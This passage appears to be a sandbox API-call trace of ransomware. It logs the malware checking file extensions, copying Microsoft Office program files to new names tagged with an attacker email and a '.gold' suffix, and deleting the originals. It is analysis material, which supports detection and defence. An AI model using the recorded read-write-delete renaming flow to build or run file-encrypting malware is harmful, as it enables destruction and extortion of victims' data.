(lpString1=".rar", lpString2=".ADD") returned 1 [0112.081] lstrlenW (lpString=".bz2") returned 4 [0112.081] lstrcmpiW (lpString1=".bz2", lpString2=".ADD") returned 1 [0112.081] lstrlenW (lpString=".7z") returned 3 [0112.081] lstrcmpiW (lpString1=".7z", lpString2="ADD") returned -1 [0112.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0112.081] lstrlenW (lpString=".dbf") returned 4 [0112.081] lstrcmpiW (lpString1=".dbf", lpString2=".ADD") returned 1 [0112.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0112.081] lstrlenW (lpString=".1cd") returned 4 [0112.081] lstrcmpiW (lpString1=".1cd", lpString2=".ADD") returned -1 [0112.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0112.081] lstrlenW (lpString=".jpg") returned 4 [0112.081] lstrcmpiW (lpString1=".jpg", lpString2=".ADD") returned 1 [0112.081] lstrcmpiW (lpString1=".EXE", lpString2=".gold") returned -1 [0112.082] lstrlenW (lpString="EXCEL.EXE") returned 9 [0112.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0112.082] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=28232544) returned 1 [0112.082] CloseHandle (hObject=0x3d8) returned 1 [0112.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe")) returned 0x20 [0112.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.083] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0112.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0112.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0112.083] lstrlenW (lpString=".doc") returned 4 [0112.083] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0112.083] lstrlenW (lpString=".docx") returned 5 [0112.083] lstrcmpiW (lpString1=".docx", lpString2="L.EXE") returned -1 [0112.083] lstrlenW (lpString=".pdf") returned 4 [0112.083] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0112.083] lstrlenW (lpString=".xls") returned 4 [0112.083] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0112.083] lstrlenW (lpString=".xlsx") returned 5 [0112.083] lstrcmpiW (lpString1=".xlsx", lpString2="L.EXE") returned -1 [0112.083] lstrlenW (lpString=".ppt") returned 4 [0112.083] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0112.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0112.083] lstrlenW (lpString=".zip") returned 4 [0112.083] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0112.083] lstrlenW (lpString=".rar") returned 4 [0112.083] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0112.083] lstrlenW (lpString=".bz2") returned 4 [0112.083] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0112.083] lstrlenW (lpString=".7z") returned 3 [0112.083] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0112.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0112.083] lstrlenW (lpString=".dbf") returned 4 [0112.083] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0112.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0112.083] lstrlenW (lpString=".1cd") returned 4 [0112.083] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0112.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0112.083] lstrlenW (lpString=".jpg") returned 4 [0112.083] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0112.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0112.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0112.083] lstrlenW (lpString=".doc") returned 4 [0112.083] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0112.083] lstrlenW (lpString=".docx") returned 5 [0112.083] lstrcmpiW (lpString1=".docx", lpString2="L.EXE") returned -1 [0112.083] lstrlenW (lpString=".pdf") returned 4 [0112.083] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0112.084] lstrlenW (lpString=".xls") returned 4 [0112.084] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0112.084] lstrlenW (lpString=".xlsx") returned 5 [0112.084] lstrcmpiW (lpString1=".xlsx", lpString2="L.EXE") returned -1 [0112.084] lstrlenW (lpString=".ppt") returned 4 [0112.084] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0112.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0112.084] lstrlenW (lpString=".zip") returned 4 [0112.084] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0112.084] lstrlenW (lpString=".rar") returned 4 [0112.084] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0112.084] lstrlenW (lpString=".bz2") returned 4 [0112.084] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0112.084] lstrlenW (lpString=".7z") returned 3 [0112.084] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0112.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0112.084] lstrlenW (lpString=".dbf") returned 4 [0112.084] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0112.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0112.084] lstrlenW (lpString=".1cd") returned 4 [0112.084] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0112.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0112.084] lstrlenW (lpString=".jpg") returned 4 [0112.084] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0112.084] lstrcmpiW (lpString1=".manifest", lpString2=".gold") returned 1 [0112.084] lstrlenW (lpString="excel.exe.manifest") returned 18 [0112.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0112.085] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1196) returned 1 [0112.085] CloseHandle (hObject=0x3d8) returned 1 [0112.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest")) returned 0x20 [0112.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0112.085] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.085] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0112.086] GetLastError () returned 0x0 [0112.086] ReadFile (in: hFile=0x3d8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x4ac, lpOverlapped=0x0) returned 1 [0112.158] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x4b0, lpOverlapped=0x0) returned 1 [0112.159] ReadFile (in: hFile=0x3d8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.159] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0112.159] SetEndOfFile (hFile=0x3d4) returned 1 [0112.589] CloseHandle (hObject=0x3d4) returned 1 [0112.589] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.589] SetEndOfFile (hFile=0x3d8) returned 1 [0112.591] CloseHandle (hObject=0x3d8) returned 1 [0112.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest")) returned 1 [0112.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0112.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0112.680] lstrlenW (lpString=".doc") returned 4 [0112.680] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0112.680] lstrlenW (lpString=".docx") returned 5 [0112.680] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0112.680] lstrlenW (lpString=".pdf") returned 4 [0112.680] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0112.680] lstrlenW (lpString=".xls") returned 4 [0112.680] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0112.680] lstrlenW (lpString=".xlsx") returned 5 [0112.680] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0112.680] lstrlenW (lpString=".ppt") returned 4 [0112.680] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0112.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0112.680] lstrlenW (lpString=".zip") returned 4 [0112.680] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0112.680] lstrlenW (lpString=".rar") returned 4 [0112.680] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0112.680] lstrlenW (lpString=".bz2") returned 4 [0112.680] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0112.680] lstrlenW (lpString=".7z") returned 3 [0112.681] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0112.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0112.681] lstrlenW (lpString=".dbf") returned 4 [0112.681] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0112.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0112.681] lstrlenW (lpString=".1cd") returned 4 [0112.681] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0112.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0112.681] lstrlenW (lpString=".jpg") returned 4 [0112.681] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0112.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0112.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0112.681] lstrlenW (lpString=".doc") returned 4 [0112.681] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0112.681] lstrlenW (lpString=".docx") returned 5 [0112.681] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0112.681] lstrlenW (lpString=".pdf") returned 4 [0112.681] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0112.681] lstrlenW (lpString=".xls") returned 4 [0112.681] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0112.681] lstrlenW (lpString=".xlsx") returned 5 [0112.681] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0112.681] lstrlenW (lpString=".ppt") returned 4 [0112.681] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0112.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0112.681] lstrlenW (lpString=".zip") returned 4 [0112.681] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0112.681] lstrlenW (lpString=".rar") returned 4 [0112.681] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0112.681] lstrlenW (lpString=".bz2") returned 4 [0112.681] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0112.681] lstrlenW (lpString=".7z") returned 3 [0112.681] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0112.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0112.681] lstrlenW (lpString=".dbf") returned 4 [0112.681] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0112.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0112.681] lstrlenW (lpString=".1cd") returned 4 [0112.681] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0112.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61 [0112.681] lstrlenW (lpString=".jpg") returned 4 [0112.681] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0112.682] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0112.682] lstrlenW (lpString="ACTIVITY.CFG") returned 12 [0112.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.682] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=968) returned 1 [0112.682] CloseHandle (hObject=0x3ec) returned 1 [0112.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg")) returned 0x20 [0112.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.683] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.683] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0112.684] GetLastError () returned 0x0 [0112.684] ReadFile (in: hFile=0x3ec, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x3c8, lpOverlapped=0x0) returned 1 [0112.693] WriteFile (in: hFile=0x394, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x3d0, lpOverlapped=0x0) returned 1 [0112.694] ReadFile (in: hFile=0x3ec, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.694] WriteFile (in: hFile=0x394, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.694] SetEndOfFile (hFile=0x394) returned 1 [0112.707] CloseHandle (hObject=0x394) returned 1 [0112.707] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.707] SetEndOfFile (hFile=0x3ec) returned 1 [0112.708] CloseHandle (hObject=0x3ec) returned 1 [0112.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg")) returned 1 [0112.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0112.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0112.748] lstrlenW (lpString=".doc") returned 4 [0112.748] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0112.748] lstrlenW (lpString=".docx") returned 5 [0112.748] lstrcmpiW (lpString1=".docx", lpString2="Y.CFG") returned -1 [0112.748] lstrlenW (lpString=".pdf") returned 4 [0112.748] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0112.748] lstrlenW (lpString=".xls") returned 4 [0112.748] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0112.748] lstrlenW (lpString=".xlsx") returned 5 [0112.748] lstrcmpiW (lpString1=".xlsx", lpString2="Y.CFG") returned -1 [0112.748] lstrlenW (lpString=".ppt") returned 4 [0112.748] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0112.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0112.748] lstrlenW (lpString=".zip") returned 4 [0112.748] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0112.748] lstrlenW (lpString=".rar") returned 4 [0112.749] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0112.749] lstrlenW (lpString=".bz2") returned 4 [0112.749] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0112.749] lstrlenW (lpString=".7z") returned 3 [0112.749] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0112.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0112.749] lstrlenW (lpString=".dbf") returned 4 [0112.749] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0112.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0112.749] lstrlenW (lpString=".1cd") returned 4 [0112.749] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0112.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0112.749] lstrlenW (lpString=".jpg") returned 4 [0112.749] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0112.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0112.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0112.749] lstrlenW (lpString=".doc") returned 4 [0112.749] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0112.749] lstrlenW (lpString=".docx") returned 5 [0112.749] lstrcmpiW (lpString1=".docx", lpString2="Y.CFG") returned -1 [0112.749] lstrlenW (lpString=".pdf") returned 4 [0112.749] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0112.749] lstrlenW (lpString=".xls") returned 4 [0112.749] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0112.749] lstrlenW (lpString=".xlsx") returned 5 [0112.749] lstrcmpiW (lpString1=".xlsx", lpString2="Y.CFG") returned -1 [0112.749] lstrlenW (lpString=".ppt") returned 4 [0112.749] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0112.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0112.749] lstrlenW (lpString=".zip") returned 4 [0112.749] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0112.749] lstrlenW (lpString=".rar") returned 4 [0112.749] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0112.749] lstrlenW (lpString=".bz2") returned 4 [0112.749] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0112.749] lstrlenW (lpString=".7z") returned 3 [0112.749] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0112.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0112.749] lstrlenW (lpString=".dbf") returned 4 [0112.749] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0112.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0112.749] lstrlenW (lpString=".1cd") returned 4 [0112.749] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0112.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0112.749] lstrlenW (lpString=".jpg") returned 4 [0112.749] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0112.749] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0112.750] lstrlenW (lpString="CNFNOT.ICO") returned 10 [0112.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0112.750] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1078) returned 1 [0112.750] CloseHandle (hObject=0x3ac) returned 1 [0112.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico")) returned 0x20 [0112.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0112.751] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.751] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0112.751] GetLastError () returned 0x0 [0112.751] ReadFile (in: hFile=0x3ac, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x436, lpOverlapped=0x0) returned 1 [0112.783] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x440, lpOverlapped=0x0) returned 1 [0112.783] ReadFile (in: hFile=0x3ac, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.783] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ce0020*, 